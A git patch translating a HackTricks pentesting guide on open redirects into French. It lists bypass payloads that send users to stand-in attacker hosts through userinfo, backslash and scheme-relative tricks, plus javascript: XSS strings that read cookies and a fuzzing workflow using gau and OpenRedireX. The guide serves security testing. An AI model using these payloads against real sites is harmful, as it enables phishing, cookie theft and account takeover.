From d2bc437554642a4cc5944e39314261c414c6a949 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 1 Oct 2025 15:25:57 +0000 Subject: [PATCH] Translated ['src/pentesting-web/open-redirect.md'] to fr --- src/pentesting-web/open-redirect.md | 131 +++++++++++++++++++++++++--- 1 file changed, 119 insertions(+), 12 deletions(-) diff --git a/src/pentesting-web/open-redirect.md b/src/pentesting-web/open-redirect.md index 14b2d781c..88aba9e3e 100644 --- a/src/pentesting-web/open-redirect.md +++ b/src/pentesting-web/open-redirect.md @@ -1,18 +1,29 @@ -# Redirection ouverte +# Open Redirect {{#include ../banners/hacktricks-training.md}} -## Redirection ouverte +## Open redirect -### Rediriger vers localhost ou des domaines arbitraires +### Redirection vers localhost ou des domaines arbitraires +- Si l'app indique “allows only internal/whitelisted hosts”, essayez des notations d'hôte alternatives pour atteindre loopback ou des plages internes via la cible de redirection : +- Variantes IPv4 loopback : 127.0.0.1, 127.1, 2130706433 (decimal), 0x7f000001 (hex), 017700000001 (octal) +- Variantes IPv6 loopback : [::1], [0:0:0:0:0:0:0:1], [::ffff:127.0.0.1] +- Point final et casse : localhost., LOCALHOST, 127.0.0.1. +- DNS wildcard qui résout vers loopback : lvh.me, sslip.io (e.g., 127.0.0.1.sslip.io), traefik.me, localtest.me. Ceux-ci sont utiles quand seuls les « sous-domaines de X » sont autorisés mais la résolution d'hôte pointe toujours vers 127.0.0.1. +- Les références de chemin réseau contournent souvent des validateurs naïfs qui préfixent un scheme ou ne vérifient que les préfixes : +- //attacker.tld → interprété comme scheme-relative et navigue hors du site avec le scheme courant. +- Les astuces userinfo contournent les vérifications contains/startswith contre des hosts de confiance : +- https://trusted.tld@attacker.tld/ → le navigateur va sur attacker.tld mais de simples vérifications de chaîne « voient » trusted.tld. +- Confusion d'analyse du backslash entre frameworks/navigateurs : +- https://trusted.tld\@attacker.tld → certains backends traitent “\” comme un caractère de chemin et passent la validation ; les navigateurs normalisent en “/” et interprètent trusted.tld comme userinfo, envoyant les utilisateurs vers attacker.tld. Cela apparaît aussi dans des mismatches entre URL-parser Node/PHP. {{#ref}} ssrf-server-side-request-forgery/url-format-bypass.md {{#endref}} -### Redirection ouverte vers XSS +### Modern open-redirect to XSS pivots ```bash #Basic payload, javascript code is executed after "javascript:" javascript:alert(1) @@ -58,7 +69,36 @@ javascript://whitelisted.com?%a0alert%281%29 /x:1/:///%01javascript:alert(document.cookie)/ ";alert(0);// ``` -## Open Redirect téléchargement de fichiers svg +
+Plus modernes URL-based bypass payloads +```text +# Scheme-relative (current scheme is reused) +//evil.example + +# Credentials (userinfo) trick +https://trusted.example@evil.example/ + +# Backslash confusion (server validates, browser normalizes) +https://trusted.example\@evil.example/ + +# Schemeless with whitespace/control chars +evil.example%00 +%09//evil.example + +# Prefix/suffix matching flaws +https://trusted.example.evil.example/ +https://evil.example/trusted.example + +# When only path is accepted, try breaking absolute URL detection +/\\evil.example +/..//evil.example +``` + +``` +
+ +## Open Redirect uploading svg files + ```html @@ -68,7 +108,9 @@ xmlns="http://www.w3.org/2000/svg"> ``` -## Paramètres d'injection courants + +## Common injection parameters + ``` /{payload} ?next={payload} @@ -143,34 +185,99 @@ RedirectUrl=https://c1h2e1.github.io Redirect=https://c1h2e1.github.io ReturnUrl=https://c1h2e1.github.io ``` -## Exemples de code + +## Code examples #### .Net + ```bash response.redirect("~/mysafe-subdomain/login.aspx") ``` + #### Java + ```bash response.redirect("http://mysafedomain.com"); ``` + #### PHP + ```php ``` -## Outils + +## Hunting and exploitation workflow (practical) + +- Single URL check with curl: + +```bash +curl -s -I "https://target.tld/redirect?url=//evil.example" | grep -i "^Location:" +``` + +- Discover and fuzz likely parameters at scale: + +
+Click to expand + +```bash +# 1) Rassembler les URLs historiques, conserver celles avec des paramètres de redirect courants +cat domains.txt \ +| gau --o urls.txt # or: waybackurls / katana / hakrawler + +# 2) Grep les paramètres courants et normaliser la liste +rg -NI "(url=|next=|redir=|redirect|dest=|rurl=|return=|continue=)" urls.txt \ +| sed 's/\r$//' | sort -u > candidates.txt + +# 3) Utiliser OpenRedireX pour fuzz avec le corpus de payloads +cat candidates.txt | openredirex -p payloads.txt -k FUZZ -c 50 > results.txt + +# 4) Vérifier manuellement les hits intéressants +awk '/30[1237]|Location:/I' results.txt +``` +``` +
+ +- N'oubliez pas les sinks côté client dans les SPAs : cherchez window.location/assign/replace et les helpers de framework qui lisent query/hash et redirigent. + +- Les frameworks introduisent souvent des footguns lorsque les destinations de redirection sont dérivées d'entrées non fiables (query params, Referer, cookies). Voir les notes Next.js à propos des redirects et évitez les destinations dynamiques dérivées de l'entrée utilisateur. + +{{#ref}} +../network-services-pentesting/pentesting-web/nextjs.md +{{#endref}} + +- OAuth/OIDC flows : abuser des open redirectors mène fréquemment à un account takeover via leaking authorization codes/tokens. Voir le guide dédié : + +{{#ref}} +./oauth-to-account-takeover.md +{{#endref}} + +- Les réponses serveur qui implémentent des redirects sans Location (meta refresh/JavaScript) sont toujours exploitables pour le phishing et peuvent parfois être enchaînées. Grep for: +```html + + +``` +## Tools - [https://github.com/0xNanda/Oralyzer](https://github.com/0xNanda/Oralyzer) +- OpenRedireX – fuzzer pour détecter open redirects. Exemple : +```bash +# Install +git clone https://github.com/devanshbatham/OpenRedireX && cd OpenRedireX && ./setup.sh -## Ressources +# Fuzz a list of candidate URLs (use FUZZ as placeholder) +cat list_of_urls.txt | ./openredirex.py -p payloads.txt -k FUZZ -c 50 +``` +## Références -- Dans [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) vous pouvez trouver des listes de fuzzing. +- Sur https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect vous pouvez trouver des listes de fuzzing. - [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html) - [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads) - [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a) - +- PortSwigger Web Security Academy – DOM-based open redirection: https://portswigger.net/web-security/dom-based/open-redirection +- OpenRedireX – A fuzzer for detecting open redirect vulnerabilities: https://github.com/devanshbatham/OpenRedireX {{#include ../banners/hacktricks-training.md}}